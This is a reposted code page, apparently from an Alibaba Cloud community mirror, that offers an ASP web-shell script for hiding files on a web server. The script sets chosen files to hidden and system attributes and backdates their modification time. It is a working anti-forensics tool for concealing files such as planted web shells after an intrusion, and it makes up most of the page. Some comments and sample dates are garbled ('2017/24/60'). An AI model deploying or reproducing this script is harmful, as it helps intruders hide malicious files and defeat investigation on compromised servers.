Hide ASP scripts for modifying file time and attributes

Source: Internet
Author: User

CopyCode The Code is as follows: <%
'The aspshell that hides and modifies the last modification time of the object
'Principle: You can use FSO to modify the attributes of a file, for example, to read-only, hide, or system. The attributes attribute in Fso modifies the attributes of a file, including 1 read-only, 2 hidden, and 4 system files.
'Using Shell. Application, You can reset the last modification time for the file.
'2017/24 write by skyfire
Response. Write "<form method = post>"
Response. write "Path: <input name = PATH value = '" & server. mappath ("/") & "'size = '30'> (must end with \) <br/>"
Response. Write "File Name: <input name = filename value+'test.txt 'size = '30'> <br/>"
Response. Write "modification time: <input name = time value = '2017/24/60 12:30:30 'size = '30'> <br/>"
Response. Write "<input type = submit value = Modify and hide files>"
Response. Write "</form>"

'Get submitted parameters
Set Path = request. Form ("path ")
Set filename = request. Form ("FILENAME ")
Set newtime = request. Form ("time ")

If (LEN (PATH)> 0) and (LEN (filename)> 0) and (LEN (newtime)> 0) then

'Use FSO to set file attributes
Set FSO = server. Createobject ("scripting. FileSystemObject ")
Set file = FSO. GetFile (Path & filename)
File. Attributes = 2 + 4 'sets the file attribute to hide + System

'Modify the last modification time of the file through Shell. Application
Set shell = server. Createobject ("Shell. Application ")
Set app_path = shell. namespace (server. mappath ("."))
Set app_file = app_path.parsename (filename)
App_file.modifydate = newtime

End if
%>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.